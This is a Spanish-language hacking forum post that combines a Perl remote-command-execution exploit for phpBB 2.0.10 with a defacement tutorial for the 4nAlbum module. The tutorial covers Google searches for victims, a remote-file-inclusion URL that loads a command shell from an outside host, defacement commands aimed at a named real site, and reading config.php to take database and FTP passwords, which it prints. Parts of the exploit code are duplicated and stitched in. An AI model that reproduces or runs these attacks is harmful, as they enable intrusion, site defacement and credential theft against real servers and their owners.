Remote Command Execution en PhpBB 2.0.10 Este si es un bug algo mas reciente (3 semanas). Consiste en un error el
archivo viewtopic.php de los populares foros phpbb2, este bug puede ser
utilizado para obtener una shell remota del servidor web y ejecutar comandos en
el mismo
Este exploit sirve para ver las carpetas y archivos que contiene phpbb 2.0.10
remotamente.
Este es el codigo del exploit.
Código:
#!/usr/bin/perl
## succesfully tested on: 2.0.6 , 2.0.8 , 2.0.9 , 2.0.10
## ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
## P.S. this code public after phpbb.com was defaced by really stupid man with nickname
tristam
## ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
## fucking lamaz...
##
## ccteam.ru
## $dbname = "ccteam_phpbb2";
## $dbuser = "ccteam_userphpbb";
## $dbpasswd = "XCbRsoy1";
##
## eat this dude...
## ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
if (@ARGV < 4)
{
print q(############################################################
phpBB <=2.0.10 remote command execution exploit
by RusH security team //
www.rst.void.ru############################################################
usage:
r57phpbb2010.pl
www.phpbb.com[DIR] - directory where phpBB installed e.g. /phpBB/ or /
[NUM] - number of existing topic
[CMD] - command for execute e.g. ls or "ls -la"
############################################################
);
exit;
}
$serv = $ARGV
;
$dir = $ARGV[1];
$topic = $ARGV[2];
$cmd = $ARGV[3];
$serv =~ s/(http:\/\/)//eg;
print "*** CMD: [ $cmd ]\r\n";
print "~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\r\n";
$cmd=~ s/(.*);$/$1/eg;
$cmd=~ s/(.)/"%".uc(sprintf("%2.2x",ord($1)))/eg;
$topic=~ s/(.)/"%".uc(sprintf("%2.2x",ord($1)))/eg;
$path = $dir;
$path .= 'viewtopic.php?t=';
$path .= $topic;
$path .= '&rush=%65%63%68%6F%20%5F%53%54%41%52%54%5F%3B%20';
$path .= $cmd;
$path .= '%3B%20%65%63%68%6F%20%5F%45%4E%44%5F';
$path .= '&highlight=%2527.%70%61%73%73%74%68%72%75%28%24%48%54%
54%50%5F%47%45%54%5F%56%41%52%53%5B%72%75%73%68%5D%29.%
2527';
$socket = IO::Socket::INET->new( Proto => "tcp", PeerAddr => "$serv", PeerPort =>
"80") || die "[-]
CONNECT FAILED\r\n";
print $socket "GET $path HTTP/1.1\n";
print $socket "Host: $serv\n";
print $socket "Accept: */*\n";
print $socket "Connection: close\n\n";
$on = 0;
while ($answer = <$socket>)
{
if ($answer =~ /^_END_/) { print "~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
\r\n"; exit(); }
if ($on == 1) { print " $answer"; }
if ($answer =~ /^_START_/) { $on = 1; }
}
print "[-] EXPLOIT FAILED\r\n";
print "~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\r\n";
### EOF ###
Lo guardas en un archivito de texto con el nombre que quieras, pero con la extension .pl
y lo ejecutas en una shell con perl asi:
shell@10:~$ perl bug.pl [url]http://foro.xxxxx.com/phpBB/" target="_blank"> [DIR] [NUM]
[CMD]
params:
http:// - server url e.g. [url=http://www.phpbb.com]www.phpbb.com[DIR] - directory where phpBB installed e.g. /phpBB/ or /
[NUM] - number of existing topic
[CMD] - command for execute e.g. ls or "ls -la"
############################################################
);
exit;
}
$serv = $ARGV
;
$dir = $ARGV[1];
$topic = $ARGV[2];
$cmd = $ARGV[3];
$serv =~ s/(http:\/\/)//eg;
print "*** CMD: [ $cmd ]\r\n";
print "~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\r\n";
$cmd=~ s/(.*);$/$1/eg;
$cmd=~ s/(.)/"%".uc(sprintf("%2.2x",ord($1)))/eg;
$topic=~ s/(.)/"%".uc(sprintf("%2.2x",ord($1)))/eg;
$path = $dir;
$path .= 'viewtopic.php?t=';
$path .= $topic;
$path .= '&rush=%65%63%68%6F%20%5F%53%54%41%52%54%5F%3B%20';
$path .= $cmd;
$path .= '%3B%20%65%63%68%6F%20%5F%45%4E%44%5F';
$path .= '&highlight=%2527.%70%61%73%73%74%68%72%75%28%24%48%54%
54%50%5F%47%45%54%5F%56%41%52%53%5B%72%75%73%68%5D%29.%
2527';
$socket = IO::Socket::INET->new( Proto => "tcp", PeerAddr => "$serv", PeerPort =>
"80") || die "[-]
CONNECT FAILED\r\n";
print $socket "GET $path HTTP/1.1\n";
print $socket "Host: $serv\n";
print $socket "Accept: */*\n";
print $socket "Connection: close\n\n";
$on = 0;
while ($answer = <$socket>)
{
if ($answer =~ /^_END_/) { print "~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\r\n";
exit(); }
if ($on == 1) { print " $answer"; }
if ($answer =~ /^_START_/) { $on = 1; }
}
print "[-] EXPLOIT FAILED\r\n";
print "~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\r\n";
### EOF ###
Lo guardas en un archivo de texto con el nombre que quieras, pero con la extension .pl y
lo ejecutas en una shell con perl asi:
shell@10:~$ perl bug.pl [url]http://foro.xxxxx.com/phpBB/ 124 "ls"
total 500
## drwxr-xr-x 12 dhn phpbb 896 Oct 13 18:23 .
## drwxrwxr-x 19 root phpbb 1112 Nov 12 15:08 ..
## drwxr-xr-x 2 dhn phpbb 152 Oct 13 18:23 CVS
## drwxr-xr-x 3 dhn phpbb 944 Jul 19 15:17 admin
## drwxrwxrwx 5 dhn phpbb 160 Aug 14 21:19 cache
## -rw-r--r-- 1 dhn phpbb 44413 Mar 11 2004 catdb.php
## -rw-r--r-- 1 dhn phpbb 5798 Jul 19 15:17 common.php
## -rw-r--r-- 1 root root 264 Jul 2 08:05 config.php
## drwxr-xr-x 3 dhn phpbb 136 Jun 24 06:40 db
## drwxr-xr-x 3 dhn phpbb 320 Jul 19 15:17 docs
## -rw-r--r-- 1 dhn phpbb 814 Oct 30 2003 extension.inc
## -rw-r--r-- 1 dhn phpbb 3646 Jul 10 04:21 faq.php
## drwxr-xr-x 2 dhn phpbb 96 Aug 12 14:59 files
## -rw-r--r-- 1 dhn phpbb 45642 Jul 12 12:42 groupcp.php
## drwxr-xr-x 7 dhn phpbb 240 Aug 12 16:22 images
## drwxr-xr-x 3 dhn phpbb 1048 Jul 19 15:17 includes
## -rw-r--r-- 1 dhn phpbb 14518 Jul 10 04:21 index.php
## drwxr-xr-x 60 dhn phpbb 2008 Sep 27 01:54 language
Deface en 4nAlbum############################################################################
*/
http://Http://Www.DefacersMexico.Org */ | Defacing with 4nAlbum
############################################################################
sh-2.05b$ ./ Escrito por Status-x [
phr4xz@gmail.com ] - Mexico
############################################################################
****************************************************************************
[ Contenido ]
[ 1 ] .- Introduccion.......
...................
...................
. Status-x
[ 2 ] .- Que es 4nAlbum............
...................
............. Status-x
[ 3 ] .- Buscando Victimas...........
...................
........... Status-x
[ 4 ] .- Explorando el Bug................
...................
...... Status-x
[ 5 ] .- Tips De Deface.............
...................
............ Status-x
[ 6 ] .- Arreglando el Bug................
...................
...... Status-x
[ 6 ] .- Herramientas.......
...................
...................
. Status-x
[ 7 ] .- Despedida..........
...................
...................
. Status-x
****************************************************************************
############################################################################
sh-2.05b$ ./ Introduccion
############################################################################
Tal vez noten que el Tutorial y el Bug son bastante parecidos esto es debido
a que los dos sistemas tienen la misma base y por lo tanto el mismo bug,
sin embargo esta vez el tip de deface sera diferente

Comenzemos
############################################################################
sh-2.05b$ ./ Que es 4nALbum
############################################################################
4nAlbum es un sistema desarrollado originalmente para Php-Nuke con
algunas caracteristicas especiales como:
- Soporte de Imagenes
- Soporte de Archivos de Audio y Video
- Organizacion por Categorias y Subcategorias
El lenguaje original en que fue creado es Ingles y Aleman, es un sistema GNU
y esta programado en PHP.
############################################################################
sh-2.05b$ ./ Buscando Victimas
############################################################################
La parte mas tediosa de todo esto jejeje, bien para esto usaremos el fiel
Google:
http://www.google.com.mxEn nuestro criterio de busqueda usaremos una funcion de Google que nos sirve
para encontrar archivos o URLS especificos:
allinurl: modules.php?name=4nAlbum
Con los cual nos quedaria de resultado una URL como esta en la cual aparece
ran todas las webs que contengan esa url

-------------------------------------------------------------------------
http://www.google.com.mx/search?hl=es&q=allinurl%3A+modules.php%3Fname%3D4nAlbum&meta=
-------------------------------------------------------------------------
Y listo ya tenemos una amplia lista de sitios los cuales explorar

############################################################################
sh-2.05b$ ./ Explorando el Bug
############################################################################
Bien el fallo radica en el mismo archivo que en My_eGallery con lo cual el
codigo erroneo es el siguiente::
--------------------------------------------------
include ("$basepath/public/imageFunctions.php");
include ("$adminpath/fileFunctions.php");
--------------------------------------------------
Con lo que podremos incluir archivos y ejecutar comandos *NIX de la siguiente
manera:
-----------------------------------------------------------------------------
http://victima.com/modules/4nAlbum/public/displayCategory.php?basepath=http://atacante/cmd.gif?&cmd= AQUI COMANDO LINUX
-----------------------------------------------------------------------------
Bien pongamos un ejemplo real:
-------------------------------------------------------------------
http://www.rotak.ru/modules/4nAlbum/public/displayCategory.php?basepath=http://mx.geocities.com/razorkron/cmd.txt?&cmd=ls
-------------------------------------------------------------------
en donde ls es nuestro comando Linux y sirve para:
ls - enlista los archivos y directorios existentes
Y como vemos nos muestra la lista de archivos:
---------------------
displayCategory.php
displayMedia.php
displayMedia.php.ba
k
displayTop.php
functions.php
imageFunctions.php
index.html
mainGallery.php
nmimage.php
search.php
uploadFile.php
---------------------
Tambien nos muestra datos del servidor, y en este caso vemos que tenemos
permisos de escritura con lo cual el deface sera mas sencillo:
---------------------------------------------------------------------
sysname: FreeBSD
nodename: pm1.zenon.net
release: 4.8-STABLE
version: FreeBSD 4.8-STABLE #0: Thu May
machine: i386
Usuário: uid(45949) euid(45949) gid(310)
Diretório Atual: /bhome/part2/01/rotak/www/modules/4nAlbum/public
Permissão de Escrita: Sim
Servidor: Apache/1.3.27 (Unix) mod_perl/1.26 PHP/4.3.10 AuthMySQL/2.20
----------------------------------------------------------------------
Y como mencione tenemos permisos de escritura ya que nuestra id de
usuario es diferente:
--------------------------
Permissão de Escrita: SIM
--------------------------
El comando a utilizar para hacer nuestro deface seria el siguiente:
---------------------------------------------------------------
cd /bhome/part2/01/rotak/www/;echo Status-x Ownz You >index.html
---------------------------------------------------------------
Con lo cual nuestro deface se veria en la pagina principal, veamos que es
lo que hace cada comando:
cd ----------> Cambias de directorio - Ejemplo:
------------------
cd /home -------> Nos cambiamos al directorio home

------------------
echo -----------> Escribe sobre el contenido de un archivo
------------------
echo Status-x >index.php - Indicamos que queremos escribir Status-x en el
archivo index.php
------------------
Nuestro deface se veria en la pagina principal, esta vez me tuve que abstener
de hacer el deface ya que en la pagina principal la vulnerabilidad seria
arreglada y ustedes no podrian practicar por lo que recomiendo ejecutar
el siguiente comando para crear nuestro propio archivo:
---------------------------------------------------------------
cd /bhome/part2/01/rotak/www/;echo Status-x Ownz You >status-x.txt
---------------------------------------------------------------
Y listo nuestro deface se vera en:
--------------------------------
http://www.rotak.ru/status-x.txt--------------------------------
############################################################################
sh-2.05b$ ./ Tips de Deface
############################################################################
*/ Adivinando el Password del Ftp
Esta vez un tip que tal vez a muchos ya se les haya ocurrido a algunos tantos
tal vez no

bien en dado caso de que no tengamos permisos en el sitio Web
( esto tambien aplica para la vulnerabilidad de My_eGallery ) podemos saber
el password del FTP y asi poder hacer nuestro deface, comenzemos:
Como hemos visto los dos bugs vistos han sido detectados en sistemas
PHP-Nuke y PostNuke y por lo tanto estos sistemas siempre tienen un config.php
El config.php es un archivo que nos muestra la configuracion de la base de
datos asi como del sistema:
- Usuario
- Password
- Datos Generales del Sistema
Bien utilizemos como ejemplo la web a la que le acabamos de hacer el deface:
Si vemos este apartado en el ejecutor de comandos:
-----------------------------------------------------------------
Diretório Atual: /bhome/part2/01/rotak/www/modules/4nAlbum/public
-----------------------------------------------------------------
Veremos el directorio en el que nos encontramos posicionados, nos cambiaremos
al directorio que tiene el archivo config.php, este directorio siempre es el
que esta inmediatamente ANTES del directorio modules en este caso es el
directorio www
------------------------------------------------
/bhome/part2/01/rotak/www/modules/4nAlbum/public
------------------------------------------------
|
Aqui esta el directorio www
Entonces utilizaremos la siguiente secuencia de comandos para poder cambiar
nos al directorio y LEER el archivo config.php:
------------------------------------------------
cd /bhome/part2/01/rotak/www/;cat config.php
------------------------------------------------
El comando cat nos sirve para visualizar el contenido de cualquier archivo,
por lo tanto nos mostrara TODO el contenido del config.php, el cual sera
el siguiente:
---------------------------------------------------------------------------
######################################################################
# PHP-NUKE: Advanced Content Management System
# ============================================
#
# Copyright (c) 2002 by Francisco Burzi (
fbc@mandrakesoft.com)
#
http://phpnuke.org#
# This module is to configure the main options for your site
#
# This program is free software. You can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation; either version 2 of the License.
######################################################################
######################################################################
# Database & System Config
#
# dbhost: SQL Database Hostname
# dbuname: SQL Username
# dbpass: SQL Password
# dbname: SQL Database Name
# $prefix: Your Database table's prefix
# $user_prefix: Your Users' Database table's prefix (To share it)
# $dbtype: Your Database Server type. Supported servers are:
# MySQL, mysql4, postgres, mssql, oracle, msaccess,
# db2 and mssql-odbc
# Be sure to write it exactly as above, case SeNsItIvE!
# $sitekey: Security Key. CHANGE it to whatever you want, as long
# as you want. Just don't use quotes.
######################################################################
$dbhost = "baze.zenon.net:64000";
$dbuname = "rotak";
$dbpass = "M9toScF4yZ";
$dbname = "rotak";
$prefix = "nuke1";
$user_prefix = "nuke";
$dbtype = "MySQL";
$sitekey = "Rotak-Okna-SdFk*fa28367-dm56w69.3a2fDS+e9iwkmd+klsdnflksnk";
/*********************************************************************/
/* You finished to configure the Database. Now you can change all */
/* you want in the Administration Section. To enter just launch */
/* you web browser pointing to
http://yourdomain.com/admin.php */
/* */
/* Remeber to go to Settings section where you can configure your */
/* new site. In that menu you can change all you need to change. */
/* */
/* Congratulations! now you have an automated news portal! */
/* Thanks for choose PHP-Nuke: The Future of the Web */
/*********************************************************************/
// DO NOT TOUCH ANYTHING BELOW THIS LINE UNTIL YOU KNOW WHAT YOU'RE DOING
$reasons = array("As Is",
"Offtopic",
"Flamebait",
"Troll",
"Redundant",
"Insighful",
"Interesting",
"Informative",
"Funny",
"Overrated",
"Underrated");
$badreasons = 4;
$AllowableHTML = array("b"=>1,
"i"=>1,
"a"=>2,
"em"=>1,
"br"=>1,
"strong"=>1,
"blockquote"=>1,
"tt"=>1,
"li"=>1,
"ol"=>1,
"ul"=>1);
$CensorList = array("fuck",
"cunt",
"fucker",
"fucking",
"pussy",
"cock",
"c0ck",
"cum",
"twat",
"clit",
"bitch",
"fuk",
"fuking",
"motherfucker");
$tipath = "images/topics/";
if (eregi("config.php",$_SERVER['PHP_SELF'])) {
Header("Location: index.php");
die();
}
?>
---------------------------------------------------------------------------
y Como podemos ver ahi se encuentra el User y Password de la base de datos
sin embargo estos generalmente coinciden con el user y password del FTP,
cabe mencionar que estos datos NO siempre son los mismos del FTP por lo que
si no te puedes loguear al FTP no tendras mas remedio que hacer el deface
en un subdirectorio.
----------------------------------------------------------------------------
$dbhost = "baze.zenon.net:64000";
$dbuname = "rotak"; <--------------User del FTP
$dbpass = "M9toScF4yZ"; <--------------Password del FTP
$dbname = "rotak";
$prefix = "nuke1";
$user_prefix = "nuke";
$dbtype = "MySQL";
$sitekey = "Rotak-Okna-SdFk*fa28367-dm56w69.3a2fDS+e9iwkmd+klsdnflksnk";
----------------------------------------------------------------------------
Entonces procedemos a loguearnos en el FTP:
--------------
http://ftp://rotak.ru--------------
User: rotak
Password: M9toScF4yZ
Y en este caso vemos que el servidor al parecer no permite loguearse al FTP
sin embargo este metodo es muy eficiente cuando no tenemos permisos
de escritura en el servidor

, espero que les haya gustado este tip
nuevamente de parte de Status-x

############################################################################
sh-2.05b$ ./ Arreglando el Bug
############################################################################
Es estupido dejar tu mail al admin para supuestamente ayudarlo y al final
no ayudarlo en absolutamente nada, sino simplemente contestandole:
Im a 1337 hax0r, y0u suck admin
Asi que mejor le echaremos una manita y le ayudaremos a arreglar el Bug.
Como ya habiamos dicho el Bug se encuentra en el archivo displayCategory.php
en las siguientes lineas,
------------------------------------------
("$basepath/public/imageFunctions.php");
include ("$adminpath/fileFunctions.php");
------------------------------------------
Las cuales debemos sustituir por las siguientes:
----------------------------------------------------------
include ("modules/4nAlbum/public/imageFunctions.php");
include ("admin/modules/gallery/fileFunctions.php");
----------------------------------------------------------
Y listo nuestra vulnerabilidad esta arreglada.
############################################################################
sh-2.05b$ ./ Herramientas
############################################################################
Las herramientas utilizadas fueron las siguientes:
Ejecutor de Comandos Linux -
http://mx.geocities.com/razorkron/cmd.txtRealizado por Infektion Group de Brasil - Contacto:
infektion@linuxmail.orgBuscador Google -
http://www.google.com############################################################################
sh-2.05b$ ./ Despedida
############################################################################
Bien pues este es el 3er texto que sale de mis manos, como les mencione al
principio la tecnica es practicamente la misma que el anterior tutorial solo
que esta vez nuestro deface se podra ver en el directorio principal
Nuevamente gracias a todos los que me apoyan y bueno algunos saludos especia
les a las personas que han colocado mis textos en sus websites:
AgresSor -
Www.Tbc-Labz.OrgMegabyte -
Www.Mbytesecurity.O rgEspero que hayan aprendido algo de este tutorial y bueno esperen el siguiente
la proxima semana.
CONTACTO:
phr4xz@gmail.comWEBSITE:
http://www.defacersmexico.orgMSN:
phr4xz@gmail.comSaludos a toda la scene mexicana

############################################################################
sh-2.05b$ ./ exit
Copyright 2005 Defacers Mexico - No modificar sin permiso de su autor
Si publicas este texto en tu sitio por favor no lo modifiques

############################################################################